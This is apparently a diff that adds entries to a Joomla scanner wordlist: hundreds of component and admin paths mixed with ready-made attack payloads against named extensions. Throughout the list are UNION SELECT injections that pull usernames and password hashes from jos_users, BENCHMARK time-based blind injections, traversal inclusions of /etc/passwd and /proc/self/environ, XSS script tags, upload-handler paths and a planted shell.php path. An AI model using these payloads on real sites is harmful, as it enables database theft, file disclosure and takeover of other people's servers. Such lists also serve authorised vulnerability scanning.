+ index.php?option=com_commedia&task=page&commpid=21
1105
+ index.php?option=com_connect&view=connect&controller=
1106
+ index.php?option=com_content&view=article&id=[A VALID ID]&Itemid=[A VALID ID]&sflaction=dir&sflDir=../../../
1107
+ index.php?option=com_delicious&controller=../../../../../../../../../../etc/passwd%00
1108
+ index.php?option=com_dioneformwizard&controller=[LFI]%00
1109
+ index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=-1
1110
+ index.php?option=com_dshop&controller=fpage&task=flypage&idofitem=12
1111
+ index.php?option=com_easyfaq&Itemid=1&task=view&gid=
1112
+ index.php?option=com_easyfaq&catid=1&task=view&id=-2527+
1113
+ index.php?option=com_easyfaq&task=view&contact_id=
1114
+ index.php?option=com_elite_experts&task=showExpertProfileDetailed&getExpertsFromCountry=&language=ru&id=
1115
+ index.php?option=com_equipment&task=components&id=45&sec_men_id=
1116
+ index.php?option=com_equipment&view=details&id=
1117
+ index.php?option=com_estateagent&Itemid=47&act=object&task=showEO&id=[sqli]
1118
+ index.php?option=com_etree&view=displays&layout=category&id=[SQL]
1119
+ index.php?option=com_etree&view=displays&layout=user&user_id=[SQL]
1120
+ index.php?option=com_ezautos&Itemid=49&id=1&task=helpers&firstCode=1
1121
+ index.php?option=com_fabrik&view=table&tableid=13+union+select+1----
1122
+ index.php?option=com_filecabinet&task=download&cid[]=7
1123
+ index.php?option=com_firmy&task=section_show_set&Id=-1
1124
+ index.php?option=com_fss&view=test&prodid=777777.7'+union+all+select+77777777777777%2C77777777777777%2C77777777777777%2Cversion()%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777--+D4NB4R
1125
+ index.php?option=com_golfcourseguide&view=golfcourses&cid=1&id=
1126
+ index.php?option=com_graphics&controller=
1127
+ index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0&data_search=
1128
+ index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0?data_search=&rpp=
1129
+ index.php?option=com_huruhelpdesk&view=detail
1130
+ index.php?option=com_huruhelpdesk&view=detail&cid[0]=
1131
+ index.php?option=com_huruhelpdesk&view=detail&cid[0]=-1
1132
+ index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=1
1133
+ index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=2
1134
+ index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id[]=1
1135
+ index.php?option=com_iproperty&view=agentproperties&id=
1136
+ index.php?option=com_jacomment&view=
1137
+ index.php?option=com_jacomment&view=../../../../../../../../../../etc/passwd%00
1138
+ index.php?option=com_javoice&view=../../../../../../../../../../../../../../../etc/passwd%00
1139
+ index.php?option=com_jcommunity&controller=members&task=1'
1140
+ index.php?option=com_jeajaxeventcalendar&view=alleventlist_more&event_id=-13
1141
+ index.php?option=com_jefaqpro&view=category&layout=categorylist&catid=2
1142
+ index.php?option=com_jefaqpro&view=category&layout=categorylist&task=lists&catid=2
1143
+ index.php?option=com_jeguestbook&view=../../../../../../../../etc/passwd%00
1144
+ index.php?option=com_jeguestbook&view=item_detail&d_itemid=-1 OR (SELECT(IF(0x41=0x41, BENCHMARK(999999999,NULL),NULL)))
1145
+ index.php?option=com_jfuploader&Itemid=
1146
+ index.php?option=com_jgen&task=view&id=
1147
+ index.php?option=com_jgrid&controller=../../../../../../../../etc/passwd%00
1148
+ index.php?option=com_jimtawl&Itemid=12&task=
1149
+ index.php?option=com_jmarket&controller=product&task=1'
1150
+ index.php?option=com_jobprofile&Itemid=61&task=profilesview&id=1'
1151
+ index.php?option=com_jomdirectory&task=search&type=111+
1152
+ index.php?option=com_joomdle&view=detail&cat_id=1&course_id=
1153
+ index.php?option=com_joomla_flash_uploader&Itemid=1
1154
+ index.php?option=com_joomleague&func=showNextMatch&p=[sqli]
1155
+ index.php?option=com_joomleague&view=resultsmatrix&p=4&Itemid=[sqli]
1156
+ index.php?option=com_joomtouch&controller=
1157
+ index.php?option=com_jphone&controller../../../../../../../../../../etc/passwd%00
1158
+ index.php?option=com_jphone&controller../../../../../../../../../../proc/self/environ%00
1159
+ index.php?option=com_jscalendar&view=jscalendar&task=details&ev_id=999 UNION SELECT 1,username,password,4,5,6,7,8 FROM jos_users
1160
+ index.php?option=com_jstore&controller=product-display&task=1'
1161
+ index.php?option=com_jsubscription&controller=subscription&task=1'
1162
+ index.php?option=com_jtickets&controller=ticket&task=1'
1163
+ index.php?option=com_konsultasi&act=detail&sid=
1164
+ index.php?option=com_ksadvertiser&Itemid=36&task=add&catid=0&lang=en
1165
+ index.php?option=com_kunena&func=userlist&search=
1166
+ index.php?option=com_lead&task=display&archive=1&Itemid=65&leadstatus=1'
1167
+ index.php?option=com_lovefactory&controller=../../../../../../../../../../etc/passwd%00
1168
+ index.php?option=com_markt&page=show_category&catid=7+union+select+0,1,password,3,4,5,username,7,8+from+jos_users--
1169
+ index.php?option=com_matamko&controller=
1170
+ index.php?option=com_myhome&task=4&nidimmindex.php?option=com_myhome&task=4&nidimm
1171
+ index.php?option=com_neorecruit&task=offer_view&id=
1172
+ index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users--
1173
+ index.php?option=com_noticeboard&controller=
1174
+ index.php?option=com_obsuggest&controller=
1175
+ index.php?option=com_ongallery&task=ft&id=-1+order+by+1--
1176
+ index.php?option=com_ongallery&task=ft&id=-1+union+select+1--
1177
+ index.php?option=com_oziogallery&Itemid=
1178
+ index.php?option=com_page&id=53
1179
+ index.php?option=com_pbbooking&task=validate&id=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(999999999,NULL),NULL)))
1180
+ index.php?option=com_pcchess&controller=../../../../../../../../../../../../../etc/passwd%00
1181
+ index.php?option=com_peliculas&view=peliculas&id=null[Sql Injection]
1182
+ index.php?option=com_phocagallery&view=categories&Itemid=
1183
+ index.php?option=com_photomapgallery&view=imagehandler&folder=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))
1184
+ index.php?option=com_php&file=../../../../../../../../../../etc/passwd
1185
+ index.php?option=com_php&file=../images/phplogo.jpg
1186
+ index.php?option=com_php&file=../js/ie_pngfix.js
1187
+ index.php?option=com_ponygallery&Itemid=[sqli]
1188
+ index.php?option=com_products&catid=-1
1189
+ index.php?option=com_products&id=-1
1190
+ index.php?option=com_products&product_id=-1
1191
+ index.php?option=com_products&task=category&catid=-1
1192
+ index.php?option=com_properties&task=agentlisting&aid=
1193
+ index.php?option=com_qcontacts&Itemid=1'
1194
+ index.php?option=com_qcontacts?=catid=0&filter_order=[SQLi]&filter_order_Dir=&option=com_qcontacts
1195
+ index.php?option=com_record&controller=../../../../../../../../../../etc/passwd%00
1196
+ index.php?option=com_restaurantguide&view=country&id='&Itemid=69
1197
+ index.php?option=com_rokmodule&tmpl=component&type=raw&module=1'
1198
+ index.php?option=com_seyret&view=
1199
+ index.php?option=com_simpleshop&Itemid=26&task=viewprod&id=-999.9 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,concat(username,0x3e,password,0x3e,usertype,0x3e,lastvisitdate)+from+jos_users--
1200
+ index.php?option=com_smartsite&controller=
1201
+ index.php?option=com_spa&view=spa_product&cid=
1202
+ index.php?option=com_spidercalendar
1203
+ index.php?option=com_spidercalendar&date=1'
1204
+ index.php?option=com_spielothek&task=savebattle&bid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))
1205
+ index.php?option=com_spielothek&view=battle&wtbattle=ddbdelete&dbtable=vS&loeschen[0]=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))
1206
+ index.php?option=com_spielothek&view=battle&wtbattle=play&bid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))
1207
+ index.php?option=com_staticxt&staticfile=test.php&id=1923
1208
+ index.php?option=com_szallasok&mode=8&id=25 (SQL)
1209
+ index.php?option=com_tag&task=tag&tag=
1210
+ index.php?option=com_timereturns&view=timereturns&id=7+union+all+select+concat_ws(0x3a,username,password),2,3,4,5,6+from+jos_users--
1211
+ index.php?option=com_timetrack&view=timetrack&ct_id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,CONCAT(username,0x3A,password) FROM jos_users
1212
+ index.php?option=com_ultimateportfolio&controller=
1213
+ index.php?option=com_users&view=registration
1214
+ index.php?option=com_virtuemart&page=account.index&keyword=[sqli]
1215
+ index.php?option=com_worldrates&controller=../../../../../../../../../../etc/passwd%00
1216
+ index.php?option=com_x-shop&action=artdetail&idd='
1217
+ index.php?option=com_x-shop&action=artdetail&idd='[SQLi]
1218
+ index.php?option=com_xcomp&controller=../../[LFI]%00
1219
+ index.php?option=com_xvs&controller=../../[LFI]%00
1220
+ index.php?option=com_yellowpages&cat=-1923+UNION+SELECT 1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+jos_users--+Union+select+user()+from+jos_users--
1221
+ index.php?option=com_yjcontactus&view=
1222
+ index.php?option=com_youtube&id_cate=4
1223
+ index.php?option=com_zina&view=zina&Itemid=9
1224
+ index.php?option=com_zoomportfolio&view=portfolio&view=portfolio&id=
1225
+ index.php?search=NoGe&option=com_esearch&searchId=
1226
+ index.php?view=videos&type=member&user_id=-62+union+select+1,2,3,4,5,6,7,8,9,10,11,12,group_concat(username,0x3a,password),14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+jos_users--&option=com_jomtube
1227
+ index2.php?option=com_joomradio&page=show_video&id=-13+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7+from+jos_users--
1228
+ js/index.php?option=com_socialads&view=showad&Itemid=94
1229
+ libraries/joomla/utilities/compat/php50x.php
1230
+ libraries/pcl/pcltar.php
1231
+ libraries/phpmailer/phpmailer.php
1232
+ libraries/phpxmlrpc/xmlrpcs.php
1233
+ modules/mod_artuploader/upload.php");
1234
+ modules/mod_as_category.php
1235
+ modules/mod_calendar.php
1236
+ modules/mod_ccnewsletter/helper/popup.php?id=[SQLi]
1237
+ modules/mod_dionefileuploader/upload.php?module_dir=./&module_max=2097152&file_type=application/octet-stream");
1238
+ modules/mod_jfancy/script.php");
1239
+ modules/mod_ppc_simple_spotlight/elements/upload_file.php
1240
+ modules/mod_ppc_simple_spotlight/img/
1241
+ modules/mod_pxt/
1242
+ modules/mod_quick_question.php
1243
+ modules/mod_visitorsgooglemap/map_data.php?action=listpoints&lastMarkerID=0
1244
+ patch/makedown.php?arquivo=../../../../etc/passwd
1245
+ plugins/content/efup_files/helper.php");
1246
+ plugins/editors/idoeditor/themes/advanced/php/image.php" method="post" enctype="multipart/form-data">
1247
+ plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/
1248
+ plugins/editors/xstandard/attachmentlibrary.php
1249
+ print.php?task=person&id=36 and 1=1
1250
+ templates/be2004-2/
1251
+ templates/ja_purity/
1252
+ wap/wapmain.php?option=onews&action=link&id=-154+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users+limit+0,1--
1253
+ web/index.php?option=com_rokmodule&tmpl=component&type=raw&module=1'&controller=../../../../../../../../../../../../[LFI]%00
1254
+ ?1.5.10-x
1255
+ ?1.5.11-x-http_ref
1256
+ ?1.5.11-x-php-s3lf
1257
+ ?1.5.3-path-disclose
1258
+ ?1.5.3-spam
1259
+ ?1.5.8-x
1260
+ ?1.5.9-x
1261
+ ?j1012-fixate-session
1262
+ ?option=com_mysms&Itemid=0&task=phonebook
1263
+ Joomla_1.6.0-Alpha2-Full-Package/components/com_mailto/assets/close-x.png
1264
+ admin/
1265
+ administrator/
1266
+ administrator/components/
1267
+ administrator/components/com_a6mambocredits/
1268
+ administrator/components/com_a6mambohelpdesk/
1269
+ administrator/components/com_admin/admin.admin.html.php
1270
+ administrator/components/com_astatspro/refer.php
1271
+ administrator/components/com_bayesiannaivefilter/
1272
+ administrator/components/com_chronocontact/excelwriter/PPS/File.php
1273
+ administrator/components/com_colophon/
1274
+ administrator/components/com_colorlab/
1275
+ administrator/components/com_comprofiler/
1276
+ administrator/components/com_comprofiler/plugin.class.php
1277
+ administrator/components/com_cropimage/admin.cropcanvas.php
1278
+ administrator/components/com_extplorer/
1279
+ administrator/components/com_feederator/includes/tmsp/add_tmsp.php
1280
+ administrator/components/com_googlebase/
1281
+ administrator/components/com_installer
1282
+ administrator/components/com_jcs/
1283
+ administrator/components/com_jim/
1284
+ administrator/components/com_jjgallery/
1285
+ administrator/components/com_joom12pic/
1286
+ administrator/components/com_joomla-visites/
1287
+ administrator/components/com_joomla_flash_uploader/
1288
+ administrator/components/com_joomlaflashfun/
1289
+ administrator/components/com_joomlaradiov5/
1290
+ administrator/components/com_jpack/
1291
+ administrator/components/com_jreactions/
1292
+ administrator/components/com_juser/
1293
+ administrator/components/com_admin/
1294
+ administrator/components/com_kochsuite /
1295
+ administrator/components/com_linkdirectory/
1296
+ administrator/components/com_livechat/getSavedChatRooms.php
1297
+ administrator/components/com_livechat/xmlhttp.php
1298
+ administrator/components/com_lurm_constructor/admin.lurm_constructor.php
1299
+ administrator/components/com_maianmedia/utilities/charts/php-ofc-library/ofc_upload_image.php?name=lo.php");
1300
+ administrator/components/com_mambelfish/
1301
+ administrator/components/com_mgm/
1302
+ administrator/components/com_mmp/help.mmp.php
1303
+ administrator/components/com_mosmedia/
1304
+ administrator/components/com_multibanners/extadminmenus.class.php
1305
+ administrator/components/com_panoramic/
1306
+ administrator/components/com_peoplebook/param.peoplebook.php
1307
+ administrator/components/com_phpshop/toolbar.phpshop.html.php
1308
+ administrator/components/com_remository/admin.remository.php
1309
+ administrator/components/com_serverstat/install.serverstat.php
1310
+ administrator/components/com_simpleswfupload/uploadhandler.php");
1311
+ administrator/components/com_swmenupro/
1312
+ administrator/components/com_treeg/
1313
+ administrator/components/com_uhp/
1314
+ administrator/components/com_uhp2/
1315
+ administrator/components/com_webring/
1316
+ administrator/components/com_wmtgallery/
1317
+ administrator/components/com_wmtportfolio/
1318
+ administrator/components/com_x-shop/
1319
+ administrator/index.php?option=com_djartgallery&task=editItem&cid[]=1'+and+1=1+--+
1320
+ administrator/index.php?option=com_searchlog&act=log
1321
+ ajaxim/
1322
+ akocomments.php
1323
+ cart?Itemid=[SQLi]
1324
+ component/com__brightweblinks/
1325
+ component/option,com_jdirectory/task,show_content/contentid,1067/catid,26/directory,1/Itemid,0
1326
+ component/osproperty/?task=agent_register
1327
+ component/quran/index.php?option=com_quran&action=viewayat&surano=
1328
+ components/com_ clickheat/
1329
+ components/com_5starhotels/
1330
+ components/com_Jambook/jambook.php
1331
+ components/com_a6mambocredits/
1332
+ components/com_a6mambohelpdesk/
1333
+ components/com_ab_gallery/
1334
+ components/com_acajoom/
1335
+ components/com_acctexp/
1336
+ components/com_aclassf/
1337
+ components/com_activities/
1338
+ components/com_actualite/
1339
+ components/com_admin/admin.admin.html.php
1340
+ components/com_advancedpoll/
1341
+ components/com_agora/
1342
+ components/com_agoragroup/
1343
+ components/com_ajaxchat/
1344
+ components/com_akobook/
1345
+ components/com_akocomment/
1346
+ components/com_akogallery
1347
+ components/com_alberghi/
1348
+ components/com_allhotels/
1349
+ components/com_alphacontent/
1350
+ components/com_altas/
1351
+ components/com_amocourse/
1352
+ components/com_artforms/assets/captcha/includes/captchaform/imgcaptcha.php
1353
+ components/com_articles/
1354
+ components/com_artist/
1355
+ components/com_artlinks/
1356
+ components/com_asortyment/
1357
+ components/com_astatspro/
1358
+ components/com_awesom/
1359
+ components/com_babackup/
1360
+ components/com_banners/
1361
+ components/com_bayesiannaivefilter/
1362
+ components/com_be_it_easypartner/
1363
+ components/com_beamospetition/
1364
+ components/com_biblestudy/
1365
+ components/com_biblioteca/views/biblioteca/tmpl/pdf.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23
1366
+ components/com_biblioteca/views/biblioteca/tmpl/stampa.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23
1367
+ components/com_blog/
1368
+ components/com_bookflip/
1369
+ components/com_bookjoomlas/
1370
+ components/com_booklibrary/
1371
+ components/com_books/
1372
+ components/com_bsadv/
1373
+ components/com_bsq_sitestats/
1374
+ components/com_bsq_sitestats/external/rssfeed.php
1375
+ components/com_bsqsitestats/
1376
+ components/com_calendar/
1377
+ components/com_camelcitydb2/
1378
+ components/com_candle/
1379
+ components/com_casino_blackjack/
1380
+ components/com_casino_videopoker/
1381
+ components/com_casinobase/
1382
+ components/com_catalogproduction/
1383
+ components/com_catalogshop/
1384
+ components/com_category/
1385
+ components/com_cgtestimonial/video.php?url="><script>alert('xss');</script>
1386
+ components/com_chronocontact/excelwriter/PPS/File.php
1387
+ components/com_cinema/
1388
+ components/com_clasifier/
1389
+ components/com_classifieds/
1390
+ components/com_clickheat/
1391
+ components/com_cloner/
1392
+ components/com_cmimarketplace/
1393
+ components/com_cms/
1394
+ components/com_colophon/
1395
+ components/com_colorlab/
1396
+ components/com_competitions/
1397
+ components/com_comprofiler/
1398
+ components/com_comprofiler/plugin.class.php
1399
+ components/com_contactinfo/
1400
+ components/com_content/
1401
+ components/com_cpg/cpg.php
1402
+ components/com_cropimage/admin.cropcanvas.php
1403
+ components/com_custompages/
1404
+ components/com_cx/
1405
+ components/com_d3000/
1406
+ components/com_dadamail/
1407
+ components/com_dailymessage/
1408
+ components/com_datsogallery/
1409
+ components/com_dbquery/
1410
+ components/com_detail/
1411
+ components/com_digistore/
1412
+ components/com_directory/
1413
+ components/com_djiceshoutbox/
1414
+ components/com_doc/
1415
+ components/com_downloads/
1416
+ components/com_ds-syndicate/
1417
+ components/com_dtregister/
1418
+ components/com_dv/externals/phpupload/upload.php");
1419
+ components/com_easybook/
1420
+ components/com_emcomposer/
1421
+ components/com_equotes/
1422
+ components/com_estateagent/
1423
+ components/com_eventing/
1424
+ components/com_eventlist/
1425
+ components/com_events/
1426
+ components/com_ewriting/
1427
+ components/com_expose/uploadimg.php
1428
+ components/com_expshop/
1429
+ components/com_extcalendar/
1430
+ components/com_extcalendar/cal_popup.php?extmode=view&extid=
1431
+ components/com_extcalendar/extcalendar.php
1432
+ components/com_extended_registration/registration_detailed.inc.php
1433
+ components/com_extplorer/
1434
+ components/com_ezine/
1435
+ components/com_ezstore/
1436
+ components/com_facileforms/
1437
+ components/com_fantasytournament/
1438
+ components/com_faq/
1439
+ components/com_feederator/includes/tmsp/add_tmsp.php
1440
+ components/com_filebase/
1441
+ components/com_filiale/
1442
+ components/com_flashfun/
1443
+ components/com_flashmagazinedeluxe/
1444
+ components/com_flippingbook/
1445
+ components/com_flyspray/startdown.php
1446
+ components/com_fm/fm.install.php
1447
+ components/com_foevpartners/
1448
+ components/com_football/
1449
+ components/com_formtool/
1450
+ components/com_forum/
1451
+ components/com_fq/
1452
+ components/com_fundraiser/
1453
+ components/com_galeria/
1454
+ components/com_galleria/galleria.html.php
1455
+ components/com_gallery/
1456
+ components/com_game/
1457
+ components/com_gameq/
1458
+ components/com_garyscookbook/
1459
+ components/com_genealogy/
1460
+ components/com_geoboerse/
1461
+ components/com_gigcal/
1462
+ components/com_gmaps/
1463
+ components/com_googlebase/
1464
+ components/com_gsticketsystem/
1465
+ components/com_guide/
1466
+ components/com_hashcash/server.php
1467
+ components/com_hbssearch/
1468
+ components/com_hello_world/
1469
+ components/com_hotproperties/
1470
+ components/com_hotproperty/
1471
+ components/com_hotspots/
1472
+ components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php
1473
+ components/com_hwdvideoshare/
1474
+ components/com_hwdvideoshare/assets/uploads/flash/flash_upload.php?jqUploader=1");
1475
+ components/com_ice/
1476
+ components/com_idoblog/
1477
+ components/com_idvnews/
1478
+ components/com_ignitegallery/
1479
+ components/com_ijoomla_archive/
1480
+ components/com_ijoomla_rss/
1481
+ components/com_inter/
1482
+ components/com_ionfiles/
1483
+ components/com_is/
1484
+ components/com_ixxocart/
1485
+ components/com_jabode/
1486
+ components/com_jashowcase/
1487
+ components/com_jb2/
1488
+ components/com_jce/
1489
+ components/com_jcs/
1490
+ components/com_jd-wiki/
1491
+ components/com_jd-wp/
1492
+ components/com_jim/
1493
+ components/com_jjgallery/
1494
+ components/com_jmovies/
1495
+ components/com_jobline/
1496
+ components/com_jombib/
1497
+ components/com_joobb/
1498
+ components/com_jooget/
1499
+ components/com_joom12pic/
1500
+ components/com_joomla-visites/
1501
+ components/com_joomla_flash_uploader/
1502
+ components/com_joomlaboard/
1503
+ components/com_joomladate/
1504
+ components/com_joomlaflashfun/
1505
+ components/com_joomlalib/
1506
+ components/com_joomlaradiov5/
1507
+ components/com_joomlavvz/
1508
+ components/com_joomlaxplorer/
1509
+ components/com_joomloads/
1510
+ components/com_joomradio/
1511
+ components/com_joomtracker/
1512
+ components/com_joovideo/
1513
+ components/com_jotloader/
1514
+ components/com_journal/
1515
+ components/com_jpack/
1516
+ components/com_jpad/
1517
+ components/com_jreactions/
1518
+ components/com_jreviews/scripts/xajax.inc.php
1519
+ components/com_jumi/
1520
+ components/com_juser/
1521
+ components/com_jvideo/
1522
+ components/com_k2/
1523
+ components/com_kbase/
1524
+ components/com_knowledgebase/fckeditor/fckeditor.js
1525
+ components/com_kochsuite /
1526
+ components/com_kunena/
1527
+ components/com_letterman/
1528
+ components/com_lexikon/
1529
+ components/com_linkdirectory/
1530
+ components/com_listoffreeads/
1531
+ components/com_livechat/getSavedChatRooms.php
1532
+ components/com_livechat/xmlhttp.php
1533
+ components/com_liveticker/
1534
+ components/com_lm/
1535
+ components/com_lmo/
1536
+ components/com_loudmounth/includes/abbc/abbc.class.php
1537
+ components/com_loudmouth/
1538
+ components/com_lowcosthotels/
1539
+ components/com_lurm_constructor/admin.lurm_constructor.php
1540
+ components/com_mad4joomla/
1541
+ components/com_madeira/img.php
1542
+ components/com_maianmusic/
1543
+ components/com_mailarchive/
1544
+ components/com_mailto/
1545
+ components/com_mambatstaff/mambatstaff.php
1546
+ components/com_mambelfish/
1547
+ components/com_mambospgm/
1548
+ components/com_mambowiki/MamboLogin.php
1549
+ components/com_marketplace/
1550
+ components/com_mcquiz/
1551
+ components/com_mdigg/
1552
+ components/com_media_library/
1553
+ components/com_mediaslide/
1554
+ components/com_mezun/
1555
+ components/com_mgm/
1556
+ components/com_minibb/
1557
+ components/com_misterestate/
1558
+ components/com_mmp/help.mmp.php
1559
+ components/com_model/
1560
+ components/com_moodle/moodle.php
1561
+ components/com_moofaq/
1562
+ components/com_mosmedia/
1563
+ components/com_mospray/scripts/admin.php
1564
+ components/com_mosres/
1565
+ components/com_most/
1566
+ components/com_mp3_allopass/
1567
+ components/com_mtree/
1568
+ components/com_mtree/img/listings/o/{id}.php
1569
+ components/com_multibanners/extadminmenus.class.php
1570
+ components/com_myalbum/
1571
+ components/com_mycontent/
1572
+ components/com_mydyngallery/
1573
+ components/com_mygallery/
1574
+ components/com_n-forms/
1575
+ components/com_na_content/
1576
+ components/com_na_mydocs/
1577
+ components/com_na_newsdescription/
1578
+ components/com_na_qforms/
1579
+ components/com_neogallery/
1580
+ components/com_neorecruit/
1581
+ components/com_neoreferences/
1582
+ components/com_netinvoice/
1583
+ components/com_news/
1584
+ components/com_news_portal/
1585
+ components/com_newsflash/
1586
+ components/com_nfn_addressbook/
1587
+ components/com_nicetalk/
1588
+ components/com_noticias/
1589
+ components/com_omnirealestate/
1590
+ components/com_omphotogallery/
1591
+ components/com_ongumatimesheet20/
1592
+ components/com_onlineflashquiz/
1593
+ components/com_ownbiblio/
1594
+ components/com_panoramic/
1595
+ components/com_paxgallery/
1596
+ components/com_paxxgallery/
1597
+ components/com_pcchess/
1598
+ components/com_pcchess/include.pcchess.php
1599
+ components/com_pccookbook/
1600
+ components/com_pccookbook/pccookbook.php
1601
+ components/com_peoplebook/param.peoplebook.php
1602
+ components/com_performs/
1603
+ components/com_philaform/
1604
+ components/com_phocadocumentation/
1605
+ components/com_php/
1606
+ components/com_phpshop/toolbar.phpshop.html.php
1607
+ components/com_pinboard/
1608
+ components/com_pms/
1609
+ components/com_poll/
1610
+ components/com_pollxt/
1611
+ components/com_ponygallery/
1612
+ components/com_portafolio/
1613
+ components/com_portfol/
1614
+ components/com_prayercenter/
1615
+ components/com_pro_desk/
1616
+ components/com_prod/
1617
+ components/com_productshowcase/
1618
+ components/com_profiler/
1619
+ components/com_projectfork/
1620
+ components/com_propertylab/
1621
+ components/com_puarcade/
1622
+ components/com_publication/
1623
+ components/com_quiz/
1624
+ components/com_rapidrecipe/
1625
+ components/com_rdautos/
1626
+ components/com_realestatemanager/
1627
+ components/com_recly/
1628
+ components/com_referenzen/
1629
+ components/com_rekry/
1630
+ components/com_remository/admin.remository.php
1631
+ components/com_remository_files/file_image_14/1276100016shell.php
1632
+ components/com_reporter/processor/reporter.sql.php
1633
+ components/com_resman/
1634
+ components/com_restaurante/
1635
+ components/com_ricette/
1636
+ components/com_rsfiles/
1637
+ components/com_rsgallery/
1638
+ components/com_rsgallery2/
1639
+ components/com_rss/
1640
+ components/com_rssreader/
1641
+ components/com_rssxt/
1642
+ components/com_rwcards/
1643
+ components/com_school/
1644
+ components/com_search/
1645
+ components/com_sebercart/getPic.php?p=[LFD]%00
1646
+ components/com_securityimages/
1647
+ components/com_sef/
1648
+ components/com_seminar/
1649
+ components/com_serverstat/install.serverstat.php
1650
+ components/com_sg/
1651
+ components/com_simple_review/
1652
+ components/com_simpleboard/
1653
+ components/com_simplefaq/
1654
+ components/com_simpleshop/
1655
+ components/com_sitemap/sitemap.xml.php
1656
+ components/com_slideshow/
1657
+ components/com_smf/
1658
+ components/com_smf/smf.php
1659
+ components/com_swmenupro/
1660
+ components/com_team/
1661
+ components/com_tech_article/
1662
+ components/com_thopper/
1663
+ components/com_thyme/
1664
+ components/com_tickets/
1665
+ components/com_tophotelmodule/
1666
+ components/com_tour_toto/
1667
+ components/com_trade/
1668
+ components/com_uhp/
1669
+ components/com_uhp2/
1670
+ components/com_user/controller.php
1671
+ components/com_users/
1672
+ components/com_utchat/pfc/lib/pear/PHPUnit/GUI/Gtk.php
1673
+ components/com_vehiclemanager/
1674
+ components/com_versioning /
1675
+ components/com_videodb/core/videodb.class.xml.php
1676
+ components/com_virtuemart/
1677
+ components/com_volunteer/
1678
+ components/com_vr/
1679
+ components/com_waticketsystem/
1680
+ components/com_webhosting/
1681
+ components/com_weblinks/
1682
+ components/com_webring/
1683
+ components/com_wmtgallery/
1684
+ components/com_wmtportfolio/
1685
+ components/com_x-shop/
1686
+ components/com_xevidmegahd/
1687
+ components/com_xewebtv/
1688
+ components/com_xfaq/
1689
+ components/com_xgallery/helpers/img.php?file=
1690
+ components/com_xsstream-dm/
1691
+ components/com_ynews/
1692
+ components/com_yvcomment/
1693
+ components/com_zoom/classes/
1694
+ components/mod_letterman/
1695
+ components/remository/
1696
+ eXtplorer/
1697
+ easyblog/entry/uncategorized
1698
+ extplorer/
1699
+ components/com_mtree/img/listings/o/{id}.php where {id}
1700
+ includes/joomla.php
1701
+ index.php/404'
1702
+ index.php/?option=com_question&catID=21' and+1=0 union all
1703
+ index.php/image-gallery/"><script>alert('xss')</script>/25-koala
1704
+ index.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&jat3action=gzip&amp;type=css&v=1
1705
+ index.php?option=com_aardvertiser&cat_name=Vehicles'+AND+'1'='1&task=view
1706
+ index.php?option=com_aardvertiser&cat_name=conf&task=<=
1707
+ index.php?option=com_aardvertiser&task=
1708
+ index.php?option=com_abc&view=abc&letter=AS&sectionid='
1709
+ index.php?option=com_advert&id=36'
1710
+ index.php?option=com_alameda&controller=comments&task=edit&storeid=-1+union+all+select+concat_ws(0x3a,username,password)+from+jos_users--
1711
+ index.php?option=com_alfurqan15x&action=viewayat&surano=
1712
+ index.php?option=com_amblog&view=amblog&catid=-1 UNION SELECT @@version
1713
+ index.php?option=com_annonces&view=edit&Itemid=1
1714
+ index.php?option=com_articleman&task=new
1715
+ index.php?option=com_bbs&bid=-1
1716
+ index.php?option=com_beamospetition&startpage=3&pet=-
1717
+ index.php?option=com_beamospetition&startpage=3&pet=-1+Union+select+user()+from+jos_users-
1718
+ index.php?option=com_bearleague&task=team&tid=8&sid=1&Itemid=%27
1719
+ index.php?option=com_beeheard&controller=../../../../../../../../../../etc/passwd%00
1720
+ index.php?option=com_biblioteca&view=biblioteca&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23
1721
+ index.php?option=com_blogfactory&controller=../../../../../../../../../../etc/passwd%00
1722
+ index.php?option=com_bnf&task=listar&action=filter_add&seccion=pago&seccion_id=-1
1723
+ index.php?option=com_camelcitydb2&id=-3+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11+from+jos_users--
1724
+ index.php?option=com_chronoconnectivity&itemid=1
1725
+ index.php?option=com_chronocontact&itemid=1
1726
+ index.php?option=com_cinema&Itemid=S@BUN&func=detail&id=
1727
+ index.php?option=com_clantools&squad=1+
1728
+ index.php?option=com_clantools&task=clanwar&showgame=1+
1729
+ index.php?option=com_commedia&format=raw&task=image&pid=4&id=964'
1730
+ index.php?option=com_commedia&task=page&commpid=21
1731
+ index.php?option=com_connect&view=connect&controller=
1732
